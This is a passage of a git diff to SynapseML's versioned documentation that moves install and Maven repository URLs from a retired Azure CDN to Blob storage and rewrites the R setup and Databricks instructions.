faithful) -cmd_model = ml_clean_missing_data( - x=faithful_df, - inputCols = c("eruptions", "waiting"), - outputCols = c("eruptions_output", "waiting_output"), - only.model=TRUE) -sdf_transform(cmd_model, faithful_df) -... +cmd_model <- ml_clean_missing_data( + x = faithful_df, + inputCols = c("eruptions", "waiting"), + outputCols = c("eruptions_output", "waiting_output"), + only.model = TRUE +) +ml_transform(cmd_model, faithful_df) ``` -You should see the output: +You should see output similar to: -```R -... +```text # Source: table [?? x 4] # Database: spark_connection eruptions waiting eruptions_output waiting_output - - 1 3.600 79 3.600 79 - 2 1.800 54 1.800 54 - 3 3.333 74 3.333 74 - 4 2.283 62 2.283 62 - 5 4.533 85 4.533 85 - 6 2.883 55 2.883 55 - 7 4.700 88 4.700 88 - 8 3.600 85 3.600 85 - 9 1.950 51 1.950 51 - 10 4.350 85 4.350 85 - # ... with more rows -... + + 1 3.600 79 3.600 79 + 2 1.800 54 1.800 54 + 3 3.333 74 3.333 74 + 4 2.283 62 2.283 62 + 5 4.533 85 4.533 85 + 6 2.883 55 2.883 55 + 7 4.700 88 4.700 88 + 8 3.600 85 3.600 85 + 9 1.950 51 1.950 51 +10 4.350 85 4.350 85 +# ... with more rows ``` ## Azure Databricks -In Azure Databricks, you can install devtools and the spark package from URL -and then use spark_connect with method = "databricks": +Install the R component archives from the installation block above on the +cluster driver. SynapseML's JVM package must be available when the cluster +starts; `spark_connect(method = "databricks")` connects to an existing Spark +session and cannot add the JVM package afterward. Before starting or restarting +the cluster, either: + +- add the Maven library `com.microsoft.azure:synapseml_2.12:1.0.5` and set its + repository (under **Advanced options**) to + `https://mmlspark.blob.core.windows.net/maven`; or +- add both settings to the cluster's Spark configuration: + +```text +spark.jars.packages com.microsoft.azure:synapseml_2.12:1.0.5 +spark.jars.repositories https://mmlspark.blob.core.windows.net/maven +``` + +After the cluster restarts, connect without loading the embedded extension +metadata: ```R -install.packages("devtools") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-1.0.5.zip") library(sparklyr) library(dplyr) -sc <- spark_connect(method = "databricks") +library(synapseml.core) +library(synapseml.lightgbm) + +sc <- spark_connect(method = "databricks", extensions = character()) faithful_df <- copy_to(sc, faithful) -unfit_model = ml_light_gbmregressor(sc, maxDepth=20, featuresCol="waiting", labelCol="eruptions", numIterations=10, unfit.model=TRUE) -ml_train_regressor(faithful_df, labelCol="eruptions", unfit_model) +unfit_model <- ml_light_gbm_regressor( + sc, + maxDepth = 20, + featuresCol = "waiting", + labelCol = "eruptions", + numIterations = 10, + unfit.model = TRUE +) +ml_train_regressor(faithful_df, labelCol = "eruptions", model = unfit_model) ``` ## Building from Source Our R bindings are built as part of the [normal build -process](../Developer%20Setup). To get a quick build, start at the root -of the synapseml directory, and find the generated files. For instance, -to find the R files for deep-learning, run +process](../Developer%20Setup). To get a quick build, start at the root +of the SynapseML directory and find the generated files. For example, to find +the R files for deep-learning, run: ```bash sbt packageR ls ./deep-learning/target/scala-2.12/generated/src/R/synapseml/R ``` -You can then run R in a terminal and install the above files directly: +You can then run R in a terminal and install the files directly: ```R -... devtools::install_local("./deep-learning/target/scala-2.12/generated/src/R/synapseml/R") -... ``` diff --git a/website/versioned_docs/version-1.0.6/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md b/website/versioned_docs/version-1.0.6/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md index b4c241b3160..40ce8d5d732 100644 --- a/website/versioned_docs/version-1.0.6/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md +++ b/website/versioned_docs/version-1.0.6/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md @@ -19,7 +19,7 @@ To learn more about the Isolation Forest model please refer to the original pape # "name": "synapseml", # "conf": { # "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", -# "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", +# "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", # "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", # "spark.yarn.user.classpath.first": "true", # "spark.sql.parquet.enableVectorizedReader": "false" diff --git a/website/versioned_docs/version-1.0.6/Explore Algorithms/Deep Learning/Getting Started.md b/website/versioned_docs/version-1.0.6/Explore Algorithms/Deep Learning/Getting Started.md index 559c37928af..ff06a5d7085 100644 --- a/website/versioned_docs/version-1.0.6/Explore Algorithms/Deep Learning/Getting Started.md +++ b/website/versioned_docs/version-1.0.6/Explore Algorithms/Deep Learning/Getting Started.md @@ -27,7 +27,7 @@ pip install synapseml==1.0.6 An alternative is installing the SynapseML jar package in library management section, by adding: ``` Coordinate: com.microsoft.azure:synapseml_2.12:1.0.6 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven ``` :::note If you install the jar package, follow the first two cells of this [sample](../Quickstart%20-%20Fine-tune%20a%20Vision%20Classifier#environment-setup----reinstall-horovod-based-on-new-version-of-pytorch) diff --git a/website/versioned_docs/version-1.0.6/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md b/website/versioned_docs/version-1.0.6/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md index e34820ccf20..72f57ee0173 100644 --- a/website/versioned_docs/version-1.0.6/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md +++ b/website/versioned_docs/version-1.0.6/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md @@ -29,7 +29,7 @@ Note: the data does NOT contain information about departments, this information 1. In Cluster Libraries install from library source Maven: Coordinates: com.microsoft.azure:synapseml_2.12:1.0.6 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven 2. In Cluster Libraries install from PyPI the library called plotly diff --git a/website/versioned_docs/version-1.0.6/Get Started/Install SynapseML.md b/website/versioned_docs/version-1.0.6/Get Started/Install SynapseML.md index 114cbcf8a39..3513a9dc8d1 100644 --- a/website/versioned_docs/version-1.0.6/Get Started/Install SynapseML.md +++ b/website/versioned_docs/version-1.0.6/Get Started/Install SynapseML.md @@ -13,7 +13,7 @@ SynapseML is already installed in Microsoft Fabric notebooks. To change the vers "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -33,7 +33,7 @@ For Spark3.4 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.0.6", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -48,7 +48,7 @@ For Spark3.3 pools: "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -66,7 +66,7 @@ import pyspark spark = pyspark.sql.SparkSession.builder.appName("MyApp") \ # Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.6 version for Spark3.4 .config("spark.jars.packages", "com.microsoft.azure:synapseml_2.12:1.0.6") \ - .config("spark.jars.repositories", "https://mmlspark.azureedge.net/maven") \ + .config("spark.jars.repositories", "https://mmlspark.blob.core.windows.net/maven") \ .getOrCreate() import synapse.ml ``` @@ -77,7 +77,7 @@ If you're building a Spark application in Scala, add the following lines to your `build.sbt`: ```scala -resolvers += "SynapseML" at "https://mmlspark.azureedge.net/maven" +resolvers += "SynapseML" at "https://mmlspark.blob.core.windows.net/maven" // Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.6 version for Spark3.4 libraryDependencies += "com.microsoft.azure" % "synapseml_2.12" % "1.0.6" ``` @@ -108,7 +108,7 @@ in your workspace. For the coordinates use: `com.microsoft.azure:synapseml_2.12:1.0.6` for Spark3.4 Cluster and `com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3` for Spark3.3 Cluster; -Add the resolver: `https://mmlspark.azureedge.net/maven`. Ensure this library is +Add the resolver: `https://mmlspark.blob.core.windows.net/maven`. Ensure this library is attached to your target cluster(s). Finally, ensure that your Spark cluster has at least Spark 3.2 and Scala 2.12. diff --git a/website/versioned_docs/version-1.0.6/Reference/Contributor Guide.md b/website/versioned_docs/version-1.0.6/Reference/Contributor Guide.md index e8413400828..e44cc20f222 100644 --- a/website/versioned_docs/version-1.0.6/Reference/Contributor Guide.md +++ b/website/versioned_docs/version-1.0.6/Reference/Contributor Guide.md @@ -65,7 +65,7 @@ this process: case of your algorithm, with instructions in step-by-step manner. (The same notebook could be used for testing the code.) - Add in-line ScalaDoc comments to your source code, to generate the [API - reference documentation](https://mmlspark.azureedge.net/docs/pyspark/) + reference documentation](https://mmlspark.blob.core.windows.net/docs/pyspark/) #### Open a pull request diff --git a/website/versioned_docs/version-1.0.6/Reference/R Setup.md b/website/versioned_docs/version-1.0.6/Reference/R Setup.md index 6d13496fd26..86f838a5689 100644 --- a/website/versioned_docs/version-1.0.6/Reference/R Setup.md +++ b/website/versioned_docs/version-1.0.6/Reference/R Setup.md @@ -10,69 +10,68 @@ description: R setup and example for SynapseML ## Installation -**Requirements**: Ensure that R and -[devtools](https://github.com/hadley/devtools) installed on your -machine. +**Requirements**: Install R and +[devtools](https://github.com/hadley/devtools) on your machine. -Also make sure you have Apache Spark installed. If you are using Sparklyr, you can use [spark-install](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). Be sure to specify the correct version. As of this writing, that should be version="3.2". spark_install is a bit eccentric and may install a slightly different version. Be sure that the version you get is one that you want. +Also install a version of Apache Spark that is compatible with this SynapseML +release. If you are using sparklyr, you can use +[`spark_install`](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). +On Windows, download +[WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) +and copy it into the `bin` directory of your Spark installation, for example, +`C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin`. -On Windows, download [WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) and copy it into the `bin` directory of your Spark installation, e.g. C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin - -To install the current SynapseML package for R, first install synapseml-core: +The R bindings are published as one archive per SynapseML module. A combined +`synapseml-1.0.6.zip` archive is not published. Install `synapseml-core` and +the modules needed by your application (the following installs all six): ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-core-0.11.0.zip") -... +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-core-1.0.6.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-cognitive-1.0.6.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-deep-learning-1.0.6.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-lightgbm-1.0.6.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-opencv-1.0.6.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-vw-1.0.6.zip") ``` -and then install any or all of the following packages, depending on your intended usage: +> **Published archive compatibility:** The component archives for this release +> were generated before the artifact endpoint migration and embed the retired +> Azure CDN Maven resolver in their sparklyr extension registration. Until the +> archives are regenerated and published, provide the Blob resolver explicitly +> and pass `extensions = character()` as shown below. Otherwise, loading an R +> wrapper before connecting can reactivate the retired resolver. -synapseml-cognitive, -synapseml-deep-learning, -synapseml-lightgbm, -synapseml-opencv, -synapseml-vw +### Importing libraries and setting up a Spark context -In other words: +Installing all dependencies may be time-consuming. When complete, create the +Spark context with an explicit package coordinate and repository. For local +sparklyr connections, `sparklyr.shell.repositories` supplies the repository to +`spark-submit`, while `extensions = character()` prevents the wrappers' embedded +registration from overriding it: ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-cognitive-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-deep-learning-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-lightgbm-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-opencv-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-vw-0.11.0.zip") -... -``` - -### Importing libraries and setting up spark context - -Installing all dependencies may be time-consuming. When complete, run: - -```R -... library(sparklyr) library(dplyr) + config <- spark_config() config$sparklyr.defaultPackages <- "com.microsoft.azure:synapseml_2.12:1.0.6" -sc <- spark_connect(master = "local", config = config) -... +config$sparklyr.shell.repositories <- "https://mmlspark.blob.core.windows.net/maven" +sc <- spark_connect( + master = "local", + config = config, + extensions = character() +) ``` -This creates a spark context on your local machine. - -We then need to import the R wrappers: +Then import the installed R wrappers: ```R -... - library(synapseml.core) - library(synapseml.cognitive) - library(synapseml.deep.learning) - library(synapseml.lightgbm) - library(synapseml.opencv) - library(synapseml.vw) -... +library(synapseml.core) +library(synapseml.cognitive) +library(synapseml.deep.learning) +library(synapseml.lightgbm) +library(synapseml.opencv) +library(synapseml.vw) ``` ## Example @@ -80,71 +79,90 @@ We then need to import the R wrappers: We can use the faithful dataset in R: ```R -... faithful_df <- copy_to(sc, faithful) -cmd_model = ml_clean_missing_data( - x=faithful_df, - inputCols = c("eruptions", "waiting"), - outputCols = c("eruptions_output", "waiting_output"), - only.model=TRUE) -sdf_transform(cmd_model, faithful_df) -... +cmd_model <- ml_clean_missing_data( + x = faithful_df, + inputCols = c("eruptions", "waiting"), + outputCols = c("eruptions_output", "waiting_output"), + only.model = TRUE +) +ml_transform(cmd_model, faithful_df) ``` -You should see the output: +You should see output similar to: -```R -... +```text # Source: table [?? x 4] # Database: spark_connection eruptions waiting eruptions_output waiting_output - - 1 3.600 79 3.600 79 - 2 1.800 54 1.800 54 - 3 3.333 74 3.333 74 - 4 2.283 62 2.283 62 - 5 4.533 85 4.533 85 - 6 2.883 55 2.883 55 - 7 4.700 88 4.700 88 - 8 3.600 85 3.600 85 - 9 1.950 51 1.950 51 - 10 4.350 85 4.350 85 - # ... with more rows -... + + 1 3.600 79 3.600 79 + 2 1.800 54 1.800 54 + 3 3.333 74 3.333 74 + 4 2.283 62 2.283 62 + 5 4.533 85 4.533 85 + 6 2.883 55 2.883 55 + 7 4.700 88 4.700 88 + 8 3.600 85 3.600 85 + 9 1.950 51 1.950 51 +10 4.350 85 4.350 85 +# ... with more rows ``` ## Azure Databricks -In Azure Databricks, you can install devtools and the spark package from URL -and then use spark_connect with method = "databricks": +Install the R component archives from the installation block above on the +cluster driver. SynapseML's JVM package must be available when the cluster +starts; `spark_connect(method = "databricks")` connects to an existing Spark +session and cannot add the JVM package afterward. Before starting or restarting +the cluster, either: + +- add the Maven library `com.microsoft.azure:synapseml_2.12:1.0.6` and set its + repository (under **Advanced options**) to + `https://mmlspark.blob.core.windows.net/maven`; or +- add both settings to the cluster's Spark configuration: + +```text +spark.jars.packages com.microsoft.azure:synapseml_2.12:1.0.6 +spark.jars.repositories https://mmlspark.blob.core.windows.net/maven +``` + +After the cluster restarts, connect without loading the embedded extension +metadata: ```R -install.packages("devtools") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-1.0.6.zip") library(sparklyr) library(dplyr) -sc <- spark_connect(method = "databricks") +library(synapseml.core) +library(synapseml.lightgbm) + +sc <- spark_connect(method = "databricks", extensions = character()) faithful_df <- copy_to(sc, faithful) -unfit_model = ml_light_gbmregressor(sc, maxDepth=20, featuresCol="waiting", labelCol="eruptions", numIterations=10, unfit.model=TRUE) -ml_train_regressor(faithful_df, labelCol="eruptions", unfit_model) +unfit_model <- ml_light_gbm_regressor( + sc, + maxDepth = 20, + featuresCol = "waiting", + labelCol = "eruptions", + numIterations = 10, + unfit.model = TRUE +) +ml_train_regressor(faithful_df, labelCol = "eruptions", model = unfit_model) ``` ## Building from Source Our R bindings are built as part of the [normal build -process](../Developer%20Setup). To get a quick build, start at the root -of the synapseml directory, and find the generated files. For instance, -to find the R files for deep-learning, run +process](../Developer%20Setup). To get a quick build, start at the root +of the SynapseML directory and find the generated files. For example, to find +the R files for deep-learning, run: ```bash sbt packageR ls ./deep-learning/target/scala-2.12/generated/src/R/synapseml/R ``` -You can then run R in a terminal and install the above files directly: +You can then run R in a terminal and install the files directly: ```R -... devtools::install_local("./deep-learning/target/scala-2.12/generated/src/R/synapseml/R") -... ``` diff --git a/website/versioned_docs/version-1.0.7/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md b/website/versioned_docs/version-1.0.7/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md index b4c241b3160..40ce8d5d732 100644 --- a/website/versioned_docs/version-1.0.7/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md +++ b/website/versioned_docs/version-1.0.7/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md @@ -19,7 +19,7 @@ To learn more about the Isolation Forest model please refer to the original pape # "name": "synapseml", # "conf": { # "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", -# "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", +# "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", # "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", # "spark.yarn.user.classpath.first": "true", # "spark.sql.parquet.enableVectorizedReader": "false" diff --git a/website/versioned_docs/version-1.0.7/Explore Algorithms/Deep Learning/Getting Started.md b/website/versioned_docs/version-1.0.7/Explore Algorithms/Deep Learning/Getting Started.md index 3ae4371d327..289097b8d0c 100644 --- a/website/versioned_docs/version-1.0.7/Explore Algorithms/Deep Learning/Getting Started.md +++ b/website/versioned_docs/version-1.0.7/Explore Algorithms/Deep Learning/Getting Started.md @@ -27,7 +27,7 @@ pip install synapseml==1.0.7 An alternative is installing the SynapseML jar package in library management section, by adding: ``` Coordinate: com.microsoft.azure:synapseml_2.12:1.0.7 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven ``` :::note If you install the jar package, follow the first two cells of this [sample](../Quickstart%20-%20Fine-tune%20a%20Vision%20Classifier#environment-setup----reinstall-horovod-based-on-new-version-of-pytorch) diff --git a/website/versioned_docs/version-1.0.7/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md b/website/versioned_docs/version-1.0.7/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md index 8fa5224bdb0..46a0bf9b235 100644 --- a/website/versioned_docs/version-1.0.7/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md +++ b/website/versioned_docs/version-1.0.7/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md @@ -29,7 +29,7 @@ Note: the data does NOT contain information about departments, this information 1. In Cluster Libraries install from library source Maven: Coordinates: com.microsoft.azure:synapseml_2.12:1.0.7 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven 2. In Cluster Libraries install from PyPI the library called plotly diff --git a/website/versioned_docs/version-1.0.7/Get Started/Install SynapseML.md b/website/versioned_docs/version-1.0.7/Get Started/Install SynapseML.md index deb7dc7d75c..e6f7512c21f 100644 --- a/website/versioned_docs/version-1.0.7/Get Started/Install SynapseML.md +++ b/website/versioned_docs/version-1.0.7/Get Started/Install SynapseML.md @@ -13,7 +13,7 @@ SynapseML is already installed in Microsoft Fabric notebooks. To change the vers "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -33,7 +33,7 @@ For Spark3.4 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.0.7", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -48,7 +48,7 @@ For Spark3.3 pools: "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -66,7 +66,7 @@ import pyspark spark = pyspark.sql.SparkSession.builder.appName("MyApp") \ # Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.7 version for Spark3.4 .config("spark.jars.packages", "com.microsoft.azure:synapseml_2.12:1.0.7") \ - .config("spark.jars.repositories", "https://mmlspark.azureedge.net/maven") \ + .config("spark.jars.repositories", "https://mmlspark.blob.core.windows.net/maven") \ .getOrCreate() import synapse.ml ``` @@ -77,7 +77,7 @@ If you're building a Spark application in Scala, add the following lines to your `build.sbt`: ```scala -resolvers += "SynapseML" at "https://mmlspark.azureedge.net/maven" +resolvers += "SynapseML" at "https://mmlspark.blob.core.windows.net/maven" // Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.7 version for Spark3.4 libraryDependencies += "com.microsoft.azure" % "synapseml_2.12" % "1.0.7" ``` @@ -108,7 +108,7 @@ in your workspace. For the coordinates use: `com.microsoft.azure:synapseml_2.12:1.0.7` for Spark3.4 Cluster and `com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3` for Spark3.3 Cluster; -Add the resolver: `https://mmlspark.azureedge.net/maven`. Ensure this library is +Add the resolver: `https://mmlspark.blob.core.windows.net/maven`. Ensure this library is attached to your target cluster(s). Finally, ensure that your Spark cluster has at least Spark 3.2 and Scala 2.12. diff --git a/website/versioned_docs/version-1.0.7/Reference/Contributor Guide.md b/website/versioned_docs/version-1.0.7/Reference/Contributor Guide.md index e8413400828..e44cc20f222 100644 --- a/website/versioned_docs/version-1.0.7/Reference/Contributor Guide.md +++ b/website/versioned_docs/version-1.0.7/Reference/Contributor Guide.md @@ -65,7 +65,7 @@ this process: case of your algorithm, with instructions in step-by-step manner. (The same notebook could be used for testing the code.) - Add in-line ScalaDoc comments to your source code, to generate the [API - reference documentation](https://mmlspark.azureedge.net/docs/pyspark/) + reference documentation](https://mmlspark.blob.core.windows.net/docs/pyspark/) #### Open a pull request diff --git a/website/versioned_docs/version-1.0.7/Reference/R Setup.md b/website/versioned_docs/version-1.0.7/Reference/R Setup.md index 142b371591b..64b286f9e56 100644 --- a/website/versioned_docs/version-1.0.7/Reference/R Setup.md +++ b/website/versioned_docs/version-1.0.7/Reference/R Setup.md @@ -10,69 +10,68 @@ description: R setup and example for SynapseML ## Installation -**Requirements**: Ensure that R and -[devtools](https://github.com/hadley/devtools) installed on your -machine. +**Requirements**: Install R and +[devtools](https://github.com/hadley/devtools) on your machine. -Also make sure you have Apache Spark installed. If you are using Sparklyr, you can use [spark-install](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). Be sure to specify the correct version. As of this writing, that should be version="3.2". spark_install is a bit eccentric and may install a slightly different version. Be sure that the version you get is one that you want. +Also install a version of Apache Spark that is compatible with this SynapseML +release. If you are using sparklyr, you can use +[`spark_install`](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). +On Windows, download +[WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) +and copy it into the `bin` directory of your Spark installation, for example, +`C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin`. -On Windows, download [WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) and copy it into the `bin` directory of your Spark installation, e.g. C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin - -To install the current SynapseML package for R, first install synapseml-core: +The R bindings are published as one archive per SynapseML module. A combined +`synapseml-1.0.7.zip` archive is not published. Install `synapseml-core` and +the modules needed by your application (the following installs all six): ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-core-0.11.0.zip") -... +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-core-1.0.7.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-cognitive-1.0.7.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-deep-learning-1.0.7.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-lightgbm-1.0.7.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-opencv-1.0.7.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-vw-1.0.7.zip") ``` -and then install any or all of the following packages, depending on your intended usage: +> **Published archive compatibility:** The component archives for this release +> were generated before the artifact endpoint migration and embed the retired +> Azure CDN Maven resolver in their sparklyr extension registration. Until the +> archives are regenerated and published, provide the Blob resolver explicitly +> and pass `extensions = character()` as shown below. Otherwise, loading an R +> wrapper before connecting can reactivate the retired resolver. -synapseml-cognitive, -synapseml-deep-learning, -synapseml-lightgbm, -synapseml-opencv, -synapseml-vw +### Importing libraries and setting up a Spark context -In other words: +Installing all dependencies may be time-consuming. When complete, create the +Spark context with an explicit package coordinate and repository. For local +sparklyr connections, `sparklyr.shell.repositories` supplies the repository to +`spark-submit`, while `extensions = character()` prevents the wrappers' embedded +registration from overriding it: ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-cognitive-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-deep-learning-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-lightgbm-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-opencv-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-vw-0.11.0.zip") -... -``` - -### Importing libraries and setting up spark context - -Installing all dependencies may be time-consuming. When complete, run: - -```R -... library(sparklyr) library(dplyr) + config <- spark_config() config$sparklyr.defaultPackages <- "com.microsoft.azure:synapseml_2.12:1.0.7" -sc <- spark_connect(master = "local", config = config) -... +config$sparklyr.shell.repositories <- "https://mmlspark.blob.core.windows.net/maven" +sc <- spark_connect( + master = "local", + config = config, + extensions = character() +) ``` -This creates a spark context on your local machine. - -We then need to import the R wrappers: +Then import the installed R wrappers: ```R -... - library(synapseml.core) - library(synapseml.cognitive) - library(synapseml.deep.learning) - library(synapseml.lightgbm) - library(synapseml.opencv) - library(synapseml.vw) -... +library(synapseml.core) +library(synapseml.cognitive) +library(synapseml.deep.learning) +library(synapseml.lightgbm) +library(synapseml.opencv) +library(synapseml.vw) ``` ## Example @@ -80,71 +79,90 @@ We then need to import the R wrappers: We can use the faithful dataset in R: ```R -... faithful_df <- copy_to(sc, faithful) -cmd_model = ml_clean_missing_data( - x=faithful_df, - inputCols = c("eruptions", "waiting"), - outputCols = c("eruptions_output", "waiting_output"), - only.model=TRUE) -sdf_transform(cmd_model, faithful_df) -... +cmd_model <- ml_clean_missing_data( + x = faithful_df, + inputCols = c("eruptions", "waiting"), + outputCols = c("eruptions_output", "waiting_output"), + only.model = TRUE +) +ml_transform(cmd_model, faithful_df) ``` -You should see the output: +You should see output similar to: -```R -... +```text # Source: table [?? x 4] # Database: spark_connection eruptions waiting eruptions_output waiting_output - - 1 3.600 79 3.600 79 - 2 1.800 54 1.800 54 - 3 3.333 74 3.333 74 - 4 2.283 62 2.283 62 - 5 4.533 85 4.533 85 - 6 2.883 55 2.883 55 - 7 4.700 88 4.700 88 - 8 3.600 85 3.600 85 - 9 1.950 51 1.950 51 - 10 4.350 85 4.350 85 - # ... with more rows -... + + 1 3.600 79 3.600 79 + 2 1.800 54 1.800 54 + 3 3.333 74 3.333 74 + 4 2.283 62 2.283 62 + 5 4.533 85 4.533 85 + 6 2.883 55 2.883 55 + 7 4.700 88 4.700 88 + 8 3.600 85 3.600 85 + 9 1.950 51 